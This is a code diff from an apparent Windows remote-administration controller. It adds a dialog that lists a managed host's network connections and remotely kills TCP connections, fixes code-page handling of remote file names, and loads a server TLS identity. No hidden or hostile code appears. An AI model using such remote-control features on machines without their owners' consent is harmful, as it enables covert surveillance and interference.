|
||||||
|
// 均经 _TR/_L 支持多语言翻译。
|
||||||
|
SetWindowText(_TR("屏幕预览质量等级"));
|
||||||
|
SetDlgItemText(IDC_PLEVEL_LABEL_LEVEL, _TR("等级"));
|
||||||
|
SetDlgItemText(IDC_PLEVEL_LABEL_WIDTH, _TR("最大宽度"));
|
||||||
|
SetDlgItemText(IDC_PLEVEL_LABEL_QUALITY, _TR("JPEG质量"));
|
||||||
|
static const TCHAR* kLevelNames[QUALITY_COUNT] = {
|
||||||
|
_T("Ultra 极佳"), _T("High 优秀"), _T("Good 良好"),
|
||||||
|
_T("Medium 一般"), _T("Low 较差"), _T("Minimal 最低")
|
||||||
|
};
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++)
|
||||||
|
SetDlgItemText(IDC_PLEVEL_LABEL_LEVEL0 + i, _L(kLevelNames[i]));
|
||||||
|
SetDlgItemText(IDC_PLEVEL_LABEL_HINT,
|
||||||
|
_TR("最大宽度为期望编码宽度;JPEG 质量 1~100"));
|
||||||
|
SetDlgItemText(IDC_PLEVEL_RESET, _TR("恢复默认"));
|
||||||
|
SetDlgItemText(IDOK, _TR("确定"));
|
||||||
|
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||||
|
|
||||||
for (int i = 0; i < QUALITY_COUNT; i++) {
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
m_working[i] = m_profiles[i];
|
m_working[i] = m_profiles[i];
|
||||||
}
|
}
|
||||||
LoadToControls();
|
LoadToControls();
|
||||||
TranslateDialog(this);
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,305 @@
|
|||||||
|
// ConnectionsDlg.cpp : 实现文件
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "ConnectionsDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#include <utility>
|
||||||
|
|
||||||
|
|
||||||
|
// CConnectionsDlg 对话框
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CConnectionsDlg, CDialog)
|
||||||
|
|
||||||
|
// 连接记录排序辅助:保存完整 ConnectionInfo(供右键强断)与各列排序键。
|
||||||
|
// 数字列零填充、地址列转定宽十六进制,保证字符串比较即得正确数值顺序。
|
||||||
|
typedef struct ConnItemData {
|
||||||
|
ConnectionInfo info;
|
||||||
|
CString key[8];
|
||||||
|
CString GetKey(int index) const { return key[index]; }
|
||||||
|
} ConnItemData;
|
||||||
|
|
||||||
|
CConnectionsDlg::CConnectionsDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||||
|
: DialogBase(CConnectionsDlg::IDD, pParent, IOCPServer, ContextObject, IDI_CONNECTION)
|
||||||
|
, m_nRClickItem(-1)
|
||||||
|
, m_nSortColumn(-1)
|
||||||
|
, m_bSortAscending(true)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
CConnectionsDlg::~CConnectionsDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
__super::DoDataExchange(pDX);
|
||||||
|
DDX_Control(pDX, IDC_LIST, m_ControlList);
|
||||||
|
DDX_Control(pDX, IDC_STATIC_COUNT, m_Count);
|
||||||
|
}
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CConnectionsDlg, CDialog)
|
||||||
|
ON_WM_CLOSE()
|
||||||
|
ON_WM_SIZE()
|
||||||
|
ON_COMMAND(ID_CONNECTION_KILL, &CConnectionsDlg::OnConnectionKill)
|
||||||
|
ON_COMMAND(ID_CONNECTION_REFRESH, &CConnectionsDlg::OnConnectionRefresh)
|
||||||
|
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CConnectionsDlg::OnNMRClickList)
|
||||||
|
ON_NOTIFY(HDN_ITEMCLICK, 0, &CConnectionsDlg::OnHdnItemclickList)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CConnectionsDlg 消息处理程序
|
||||||
|
|
||||||
|
static CString FormatAddr(BYTE af, const uint8_t* addr)
|
||||||
|
{
|
||||||
|
char buf[INET6_ADDRSTRLEN] = { 0 };
|
||||||
|
if (af == AF_INET) {
|
||||||
|
inet_ntop(AF_INET, addr, buf, INET_ADDRSTRLEN);
|
||||||
|
} else {
|
||||||
|
inet_ntop(AF_INET6, addr, buf, INET6_ADDRSTRLEN);
|
||||||
|
}
|
||||||
|
return CA2T(buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
static CString TcpStateName(DWORD state)
|
||||||
|
{
|
||||||
|
switch (state) {
|
||||||
|
case 1: return _T("CLOSED");
|
||||||
|
case 2: return _T("LISTEN");
|
||||||
|
case 3: return _T("SYN_SENT");
|
||||||
|
case 4: return _T("SYN_RCVD");
|
||||||
|
case 5: return _T("ESTABLISHED");
|
||||||
|
case 6: return _T("FIN_WAIT1");
|
||||||
|
case 7: return _T("FIN_WAIT2");
|
||||||
|
case 8: return _T("CLOSE_WAIT");
|
||||||
|
case 9: return _T("CLOSING");
|
||||||
|
case 10: return _T("LAST_ACK");
|
||||||
|
case 11: return _T("TIME_WAIT");
|
||||||
|
case 12: return _T("DELETE_TCB");
|
||||||
|
default: return _T("-");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 地址排序键:IPv4/IPv6 统一转成 16 字节定宽十六进制(前缀 4/6 区分协议族),
|
||||||
|
// 使字符串比较等价于按地址数值排序。
|
||||||
|
static CString AddrSortKey(uint8_t af, const uint8_t* addr)
|
||||||
|
{
|
||||||
|
CString key;
|
||||||
|
key.Format(_T("%d:"), (af == AF_INET) ? 4 : 6);
|
||||||
|
for (int i = 0; i < 16; ++i)
|
||||||
|
key.AppendFormat(_T("%02X"), addr[i]);
|
||||||
|
return key;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CConnectionsDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
__super::OnInitDialog();
|
||||||
|
|
||||||
|
SetIcon(m_hIcon, TRUE);
|
||||||
|
SetIcon(m_hIcon, FALSE);
|
||||||
|
CString strString;
|
||||||
|
strString.FormatL("%s - 连接管理", m_IPAddress);
|
||||||
|
SetWindowText(strString);
|
||||||
|
|
||||||
|
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||||
|
m_ControlList.InsertColumnL(0, "协议", LVCFMT_LEFT, 50);
|
||||||
|
m_ControlList.InsertColumnL(1, "本地地址", LVCFMT_LEFT, 120);
|
||||||
|
m_ControlList.InsertColumnL(2, "本地端口", LVCFMT_LEFT, 70);
|
||||||
|
m_ControlList.InsertColumnL(3, "远端地址", LVCFMT_LEFT, 120);
|
||||||
|
m_ControlList.InsertColumnL(4, "远端端口", LVCFMT_LEFT, 70);
|
||||||
|
m_ControlList.InsertColumnL(5, "状态", LVCFMT_LEFT, 100);
|
||||||
|
m_ControlList.InsertColumnL(6, "PID", LVCFMT_LEFT, 60);
|
||||||
|
m_ControlList.InsertColumnL(7, "进程名", LVCFMT_LEFT, 180);
|
||||||
|
|
||||||
|
ShowConnectionList();
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CConnectionsDlg::ShowConnectionList(void)
|
||||||
|
{
|
||||||
|
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
|
||||||
|
int len = tmp.GetBufferLength();
|
||||||
|
DeleteAllItems();
|
||||||
|
|
||||||
|
if (len < 3) {
|
||||||
|
CString strEmpty;
|
||||||
|
strEmpty.FormatL("连接数:%d", 0);
|
||||||
|
m_Count.SetWindowText(strEmpty);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
const BYTE* p = tmp.GetBuffer(0);
|
||||||
|
uint16_t count = 0;
|
||||||
|
memcpy(&count, p + 1, 2);
|
||||||
|
int avail = (len - 3) / (int)sizeof(ConnectionInfo);
|
||||||
|
if ((int)count > avail) count = (uint16_t)avail;
|
||||||
|
|
||||||
|
for (int i = 0; i < (int)count; ++i) {
|
||||||
|
const ConnectionInfo* info = (const ConnectionInfo*)(p + 3 + i * sizeof(ConnectionInfo));
|
||||||
|
|
||||||
|
CString strProto = (info->proto == 1) ? _T("TCP") : _T("UDP");
|
||||||
|
CString strLocalAddr = FormatAddr(info->af, info->localAddr);
|
||||||
|
CString strRemoteAddr = FormatAddr(info->af, info->remoteAddr);
|
||||||
|
CString strState = (info->proto == 1) ? TcpStateName(info->state) : _T("-");
|
||||||
|
|
||||||
|
CString strLocalPort, strRemotePort, strPid, strProcName;
|
||||||
|
strLocalPort.Format(_T("%u"), info->localPort);
|
||||||
|
strRemotePort.Format(_T("%u"), info->remotePort);
|
||||||
|
strPid.Format(_T("%u"), info->pid);
|
||||||
|
strProcName = CA2T(info->procName, CP_UTF8);
|
||||||
|
|
||||||
|
auto* data = new ConnItemData;
|
||||||
|
data->info = *info;
|
||||||
|
data->key[0] = strProto;
|
||||||
|
data->key[1] = AddrSortKey(info->af, info->localAddr);
|
||||||
|
data->key[2].Format(_T("%05u"), info->localPort);
|
||||||
|
data->key[3] = AddrSortKey(info->af, info->remoteAddr);
|
||||||
|
data->key[4].Format(_T("%05u"), info->remotePort);
|
||||||
|
data->key[5].Format(_T("%03u"), info->state);
|
||||||
|
data->key[6].Format(_T("%010u"), info->pid);
|
||||||
|
data->key[7] = strProcName;
|
||||||
|
|
||||||
|
m_ControlList.InsertItem(i, strProto);
|
||||||
|
m_ControlList.SetItemText(i, 1, strLocalAddr);
|
||||||
|
m_ControlList.SetItemText(i, 2, strLocalPort);
|
||||||
|
m_ControlList.SetItemText(i, 3, strRemoteAddr);
|
||||||
|
m_ControlList.SetItemText(i, 4, strRemotePort);
|
||||||
|
m_ControlList.SetItemText(i, 5, strState);
|
||||||
|
m_ControlList.SetItemText(i, 6, strPid);
|
||||||
|
m_ControlList.SetItemText(i, 7, strProcName);
|
||||||
|
m_ControlList.SetItemData(i, (DWORD_PTR)data);
|
||||||
|
}
|
||||||
|
|
||||||
|
CString strCount;
|
||||||
|
strCount.FormatL("连接数:%d", (int)count);
|
||||||
|
m_Count.SetWindowText(strCount);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnClose()
|
||||||
|
{
|
||||||
|
CancelIO();
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeleteAllItems();
|
||||||
|
|
||||||
|
DialogBase::OnClose();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::DeleteAllItems()
|
||||||
|
{
|
||||||
|
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
|
||||||
|
auto data = (ConnItemData*)m_ControlList.GetItemData(i);
|
||||||
|
if (data) delete data;
|
||||||
|
}
|
||||||
|
m_ControlList.DeleteAllItems();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
||||||
|
{
|
||||||
|
LPNMITEMACTIVATE pAct = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||||
|
m_nRClickItem = pAct->iItem;
|
||||||
|
|
||||||
|
bool canKill = false;
|
||||||
|
if (m_nRClickItem >= 0) {
|
||||||
|
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
|
||||||
|
canKill = (data && data->info.proto == 1 && data->info.af == AF_INET);
|
||||||
|
}
|
||||||
|
|
||||||
|
CMenu Menu;
|
||||||
|
Menu.LoadMenu(IDR_MENU_CONNECTIONS);
|
||||||
|
TranslateMenu(&Menu);
|
||||||
|
CMenu* SubMenu = Menu.GetSubMenu(0);
|
||||||
|
if (SubMenu && !canKill) {
|
||||||
|
SubMenu->EnableMenuItem(ID_CONNECTION_KILL, MF_BYCOMMAND | MF_GRAYED);
|
||||||
|
}
|
||||||
|
CPoint Point;
|
||||||
|
GetCursorPos(&Point);
|
||||||
|
SubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, Point.x, Point.y, this);
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnConnectionKill()
|
||||||
|
{
|
||||||
|
if (m_nRClickItem < 0) return;
|
||||||
|
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
|
||||||
|
if (!data || data->info.proto != 1 || data->info.af != AF_INET) return;
|
||||||
|
|
||||||
|
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + sizeof(ConnectionInfo));
|
||||||
|
if (szBuffer == NULL) return;
|
||||||
|
szBuffer[0] = COMMAND_KILL_CONNECTION;
|
||||||
|
memcpy(szBuffer + 1, &data->info, sizeof(ConnectionInfo));
|
||||||
|
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnConnectionRefresh()
|
||||||
|
{
|
||||||
|
BYTE bToken = COMMAND_CONNECTION;
|
||||||
|
m_ContextObject->Send2Client(&bToken, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnReceiveComplete(void)
|
||||||
|
{
|
||||||
|
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
||||||
|
case TOKEN_CONNECTION_LIST:
|
||||||
|
ShowConnectionList();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnSize(UINT nType, int cx, int cy)
|
||||||
|
{
|
||||||
|
__super::OnSize(nType, cx, cy);
|
||||||
|
|
||||||
|
if (!m_ControlList.GetSafeHwnd()) return;
|
||||||
|
|
||||||
|
CRect rc;
|
||||||
|
m_ControlList.GetWindowRect(&rc);
|
||||||
|
ScreenToClient(&rc);
|
||||||
|
|
||||||
|
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
|
||||||
|
}
|
||||||
|
|
||||||
|
int CALLBACK CConnectionsDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
|
||||||
|
{
|
||||||
|
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
|
||||||
|
int nColumn = pSortInfo->first;
|
||||||
|
bool bAscending = pSortInfo->second;
|
||||||
|
|
||||||
|
auto* context1 = (ConnItemData*)lParam1;
|
||||||
|
auto* context2 = (ConnItemData*)lParam2;
|
||||||
|
CString s1 = context1->GetKey(nColumn);
|
||||||
|
CString s2 = context2->GetKey(nColumn);
|
||||||
|
|
||||||
|
int result = s1.Compare(s2);
|
||||||
|
return bAscending ? result : -result;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::SortByColumn(int nColumn)
|
||||||
|
{
|
||||||
|
if (nColumn == m_nSortColumn) {
|
||||||
|
m_bSortAscending = !m_bSortAscending;
|
||||||
|
} else {
|
||||||
|
m_nSortColumn = nColumn;
|
||||||
|
m_bSortAscending = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
|
||||||
|
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
||||||
|
{
|
||||||
|
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
|
||||||
|
SortByColumn(pNMHeader->iItem);
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "afxcmn.h"
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
#include "afxwin.h"
|
||||||
|
|
||||||
|
// CConnectionsDlg 对话框:展示受管主机当前 TCP/UDP 连接,右键可强制断开 IPv4 TCP 连接。
|
||||||
|
|
||||||
|
class CConnectionsDlg : public DialogBase
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CConnectionsDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CConnectionsDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||||
|
virtual ~CConnectionsDlg();
|
||||||
|
|
||||||
|
int ShowConnectionList(void);
|
||||||
|
void OnReceiveComplete(void);
|
||||||
|
|
||||||
|
enum { IDD = IDD_DIALOG_CONNECTIONS };
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX);
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
CListCtrl m_ControlList;
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
|
||||||
|
void DeleteAllItems();
|
||||||
|
void SortByColumn(int nColumn);
|
||||||
|
afx_msg void OnClose();
|
||||||
|
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
afx_msg void OnConnectionKill();
|
||||||
|
afx_msg void OnConnectionRefresh();
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
afx_msg void OnHdnItemclickList(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||||
|
|
||||||
|
CStatic m_Count;
|
||||||
|
int m_nRClickItem;
|
||||||
|
int m_nSortColumn;
|
||||||
|
bool m_bSortAscending;
|
||||||
|
};
|
||||||
@@ -89,8 +89,9 @@ typedef struct FeatureFlags {
|
|||||||
#define MF_REQUEST_AUTH (1ULL << 42) // HIDE_MENU_REQUEST_AUTH
|
#define MF_REQUEST_AUTH (1ULL << 42) // HIDE_MENU_REQUEST_AUTH
|
||||||
|
|
||||||
#define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS
|
#define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS
|
||||||
|
#define MF_TLS_CERTIFICATE (1ULL << 44) // HIDE_MENU_TLS_CERTIFICATE
|
||||||
|
|
||||||
// [44-63] Reserved
|
// [45-63] Reserved
|
||||||
|
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
|
|||||||
@@ -223,6 +223,27 @@ int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
|
|||||||
return index;
|
return index;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 远程文件名/路径编码按 clientType 判定:Windows 走 A 接口(FindFirstFileA)=GBK/936,
|
||||||
|
// LNX/MAC 文件系统天然 UTF-8(同 McpServer.cpp::BuildListFiles)。这里用 LVM_SETITEMTEXTW
|
||||||
|
// 直接写宽字符串,绕开 ANSI→CP_ACP 回转,即使服务端运行在非中文 ACP 上中文名也能正常显示。
|
||||||
|
static void SetFileTextItem(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
|
||||||
|
{
|
||||||
|
std::wstring w;
|
||||||
|
if (sz && sz[0]) {
|
||||||
|
int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
|
||||||
|
if (wlen > 1) {
|
||||||
|
w.resize(wlen - 1);
|
||||||
|
MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LVITEMW lv = {};
|
||||||
|
lv.mask = LVIF_TEXT;
|
||||||
|
lv.iItem = iItem;
|
||||||
|
lv.iSubItem = iSubItem;
|
||||||
|
lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
|
||||||
|
::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
|
||||||
|
}
|
||||||
|
|
||||||
BOOL CFileManagerDlg::OnInitDialog()
|
BOOL CFileManagerDlg::OnInitDialog()
|
||||||
{
|
{
|
||||||
__super::OnInitDialog();
|
__super::OnInitDialog();
|
||||||
@@ -1104,6 +1125,9 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
|
|
||||||
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
||||||
{
|
{
|
||||||
|
CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
|
||||||
|
UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
|
||||||
|
|
||||||
// 重新设置ImageList
|
// 重新设置ImageList
|
||||||
SHFILEINFO sfi = {};
|
SHFILEINFO sfi = {};
|
||||||
HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
|
HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
|
||||||
@@ -1151,7 +1175,8 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
|||||||
pszFileName = ++pList;
|
pszFileName = ++pList;
|
||||||
|
|
||||||
if (bIsInsert) {
|
if (bIsInsert) {
|
||||||
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
|
nItem = m_list_remote.InsertItem(nItemIndex++, "", GetIconIndex(pszFileName, nType));
|
||||||
|
SetFileTextItem(m_list_remote, nItem, 0, pszFileName, cp);
|
||||||
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
|
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
|
||||||
SHFILEINFO sfi = {};
|
SHFILEINFO sfi = {};
|
||||||
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
@@ -1184,6 +1209,9 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
|||||||
|
|
||||||
void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
||||||
{
|
{
|
||||||
|
CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
|
||||||
|
UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
|
||||||
|
|
||||||
// 第一批结果到达时,初始化搜索列表
|
// 第一批结果到达时,初始化搜索列表
|
||||||
if (!m_bSearching) {
|
if (!m_bSearching) {
|
||||||
m_bSearching = true;
|
m_bSearching = true;
|
||||||
@@ -1241,7 +1269,8 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLe
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int nItem = m_list_remote.InsertItem(m_nSearchResultCount, csFileName, nIcon);
|
int nItem = m_list_remote.InsertItem(m_nSearchResultCount, "", nIcon);
|
||||||
|
SetFileTextItem(m_list_remote, nItem, 0, csFileName, cp);
|
||||||
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
|
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
|
||||||
|
|
||||||
pList += lstrlen(pszFullPath) + 1;
|
pList += lstrlen(pszFullPath) + 1;
|
||||||
@@ -1261,7 +1290,7 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLe
|
|||||||
m_list_remote.SetItemText(nItem, 2, time.FormatL("%Y-%m-%d %H:%M"));
|
m_list_remote.SetItemText(nItem, 2, time.FormatL("%Y-%m-%d %H:%M"));
|
||||||
|
|
||||||
// 路径
|
// 路径
|
||||||
m_list_remote.SetItemText(nItem, 3, csDir);
|
SetFileTextItem(m_list_remote, nItem, 3, csDir, cp);
|
||||||
|
|
||||||
pList += 16;
|
pList += 16;
|
||||||
m_nSearchResultCount++;
|
m_nSearchResultCount++;
|
||||||
@@ -3329,7 +3358,7 @@ void CFileManagerDlg::OnTransferV2ToRemote()
|
|||||||
g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir);
|
g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir);
|
||||||
ShowMessage(_TRF("V2传输已启动,共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str());
|
ShowMessage(_TRF("V2传输已启动,共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str());
|
||||||
} else {
|
} else {
|
||||||
ShowMessage(_TRF("找不到主连接: clientID=%llu"), clientID);
|
ShowMessage(_TRF("找不到主连接: clientID %llu"), clientID);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -69,8 +69,9 @@ Json::Value BuildHostJson(context* ctx, _ClientList* clientMap) {
|
|||||||
CString os = ctx->GetClientData(ONLINELIST_OS);
|
CString os = ctx->GetClientData(ONLINELIST_OS);
|
||||||
device["os"] = AnsiToUtf8(os);
|
device["os"] = AnsiToUtf8(os);
|
||||||
|
|
||||||
|
// 地理位置已统一按 UTF-8 存储(见 AddList),直接透传,不再 CP_ACP→UTF-8 二次转换。
|
||||||
CString location = ctx->GetClientData(ONLINELIST_LOCATION);
|
CString location = ctx->GetClientData(ONLINELIST_LOCATION);
|
||||||
device["location"] = AnsiToUtf8(location);
|
device["location"] = std::string(location.GetString());
|
||||||
|
|
||||||
CString rtt = ctx->GetClientData(ONLINELIST_PING);
|
CString rtt = ctx->GetClientData(ONLINELIST_PING);
|
||||||
device["rtt"] = AnsiToUtf8(rtt);
|
device["rtt"] = AnsiToUtf8(rtt);
|
||||||
|
|||||||
@@ -124,7 +124,7 @@ void IOCPKCPServer::WorkerThread()
|
|||||||
}
|
}
|
||||||
if (n > 0&& m_notify) {
|
if (n > 0&& m_notify) {
|
||||||
memcpy(ctx->szBuffer, recvbuf, n);
|
memcpy(ctx->szBuffer, recvbuf, n);
|
||||||
BOOL ret = ParseReceivedData(ctx, n, m_notify);
|
BOOL ret = ParseReceivedData(ctx, (PBYTE)ctx->szBuffer, n, m_notify);
|
||||||
}
|
}
|
||||||
} while (n>0);
|
} while (n>0);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
#include "2015Remote.h"
|
#include "2015Remote.h"
|
||||||
#include "common/IPWhitelist.h"
|
#include "common/IPWhitelist.h"
|
||||||
#include "common/IPBlacklist.h"
|
#include "common/IPBlacklist.h"
|
||||||
|
#include "ServerTlsSession.h"
|
||||||
|
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <ws2tcpip.h>
|
#include <ws2tcpip.h>
|
||||||
@@ -483,6 +484,11 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
m_nPort = uPort;
|
m_nPort = uPort;
|
||||||
m_NotifyProc = NotifyProc;
|
m_NotifyProc = NotifyProc;
|
||||||
m_OfflineProc = OffProc;
|
m_OfflineProc = OffProc;
|
||||||
|
|
||||||
|
// 单向 TLS:启动时加载服务端身份(证书+私钥)。加载失败时 IsLoadError()==true,
|
||||||
|
// 明文客户端不受影响,TLS ClientHello 会被识别并 fail-closed 关闭(见设计文档 §5.2)。
|
||||||
|
ServerTlsIdentity::Load(THIS_CFG);
|
||||||
|
|
||||||
// manual-reset:本进程内可能有多个等待者(ListenThread / RttPollThreadProc)。
|
// manual-reset:本进程内可能有多个等待者(ListenThread / RttPollThreadProc)。
|
||||||
// 自动重置会让 SetEvent 只唤醒一个等待者,另一个要等自身 timeout(≤1s)。
|
// 自动重置会让 SetEvent 只唤醒一个等待者,另一个要等自身 timeout(≤1s)。
|
||||||
// 改 manual-reset 后所有等待者一次性醒来;本工程从无 ResetEvent 调用,无副作用。
|
// 改 manual-reset 后所有等待者一次性醒来;本工程从无 ResetEvent 调用,无副作用。
|
||||||
@@ -793,16 +799,16 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr
|
|||||||
}
|
}
|
||||||
|
|
||||||
// May be this function should be a member of `CONTEXT_OBJECT`.
|
// May be this function should be a member of `CONTEXT_OBJECT`.
|
||||||
BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx, z_stream* z)
|
BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, PBYTE data, DWORD dataLen, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx, z_stream* z)
|
||||||
{
|
{
|
||||||
AUTO_TICK(50, ContextObject->GetPeerName());
|
AUTO_TICK(50, ContextObject->GetPeerName());
|
||||||
BOOL ret = 1;
|
BOOL ret = 1;
|
||||||
try {
|
try {
